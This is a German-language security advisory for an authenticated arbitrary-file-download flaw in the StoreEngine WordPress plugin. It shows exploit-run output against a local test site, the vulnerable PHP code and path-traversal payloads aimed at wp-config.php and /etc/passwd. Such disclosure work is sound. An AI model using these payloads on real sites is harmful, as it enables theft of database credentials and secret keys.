
StoreEngine – Leistungsstarkes WordPress-eCommerce-Plugin für Zahlungen, Mitgliedschaften, Affiliate-Programme, Verkäufe und mehr <= 1.4.0 - Authentifizierter (Abonnent+) beliebiger Datei-Download
Das StoreEngine-Plugin enthält eine Schwachstelle in seiner CSV-Import/Export-Funktion, die es jedem authentifizierten Benutzer (Abonnent, Autor, Redakteur usw.) ermöglicht, beliebige Dateien vom Server herunterzuladen, einschließlich sensibler Systemdateien, WordPress-Konfigurationsdateien und Plugin-Quellcode. Die Schwachstelle rührt daher, dass der Endpunkt storeengine_csv/file_download keine ordnungsgemäße Pfadbereinigung vornimmt und sich für die Sicherheit nur auf die Nonce-Überprüfung verlässt, während die storeengine_nonce über das JavaScript des Plugins für ALLE Frontend-Benutzer sichtbar ist. Hinweis: Für diese Schwachstelle muss das CSV-Import/Export-Addon von einem Administrator aktiviert werden. Sobald dies aktiviert ist, kann jeder authentifizierte Benutzer die Nonce aus den Frontend-Seiten extrahieren und über Pfad-Traversal-Angriffe jede Datei auf dem Server herunterladen, wodurch Abonnenten+ effektiv Zugriff auf sensible System- und Anwendungsdateien erhalten.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
Hinweis: Für diese Schwachstelle muss das CSV-Import/Export-Addon von einem Administrator aktiviert werden. Der Aktivierungsendpunkt des Addons (storeengine/saved_addon_status) erfordert die Fähigkeit manage_options, was bedeutet, dass nur Administratoren diese Funktionalität aktivieren können.
Die AJAX-Aktion storeengine_csv/file_download ruft die Funktion file_download() in Zeile 47 von /wp-content/plugins/storeengine/addons/csv/ajax/export.php auf, die keine ordnungsgemäße Pfadbereinigung vornimmt und beliebige Datei-Downloads ermöglicht:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- ANFÄLLIG FÜR PFAD-TRAVERSAL!
// KEINE BERECHTIGUNGSPRÜFUNG – JEDER BENUTZER KANN JEDE DATEI HERUNTERLADEN!
// KEINE PFADBEREINIGUNG – DIREKTE VERKETTUNG ERMÖGLICHT ../-ANGRIFFE!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- LIEST UND GIBT JEDE DATEI AUS!
exit;
}
Die anfällige Pfadkonstruktion ermöglicht vollständiges Pfad-Traversal:
// Helper::get_upload_dir() gibt zurück:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// Der vollständige Pfad wird also:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// Mit Pfad-Traversal wird daraus:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
Die storeengine_nonce wird über das JavaScript des Plugins für ALLE Frontend-Benutzer sichtbar. Dies geschieht in der Methode _get_script_data() in Zeile 279 von /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... andere Daten ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Zeile 279 – FÜR ALLE BENUTZER SICHTBAR
'rest_url' => esc_url_raw( rest_url() ),
// ... andere Daten ...
];
}
Diese Nonce wird dann über die Methode frontend_scripts() in Zeile 120 in das Frontend-JavaScript eingebunden:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Ruft _get_script_data() auf
);
Die Nonce wird in der Methode AbstractRequestHandler::check_permission() in Zeile 510 von /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php überprüft:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Diese Kombination ermöglicht es jedem authentifizierten Benutzer, den CSRF-Schutz zu umgehen und jede Datei auf dem Server herunterzuladen, einschließlich sensibler Konfigurationsdateien, Quellcode und möglicherweise Systemdateien.
/wp-admin/admin-ajax.php ab, die die Aktion storeengine_csv/file_download aufruft.filename=../../../../wp-config.php, um die WordPress-Konfigurationsdatei herunterzuladen.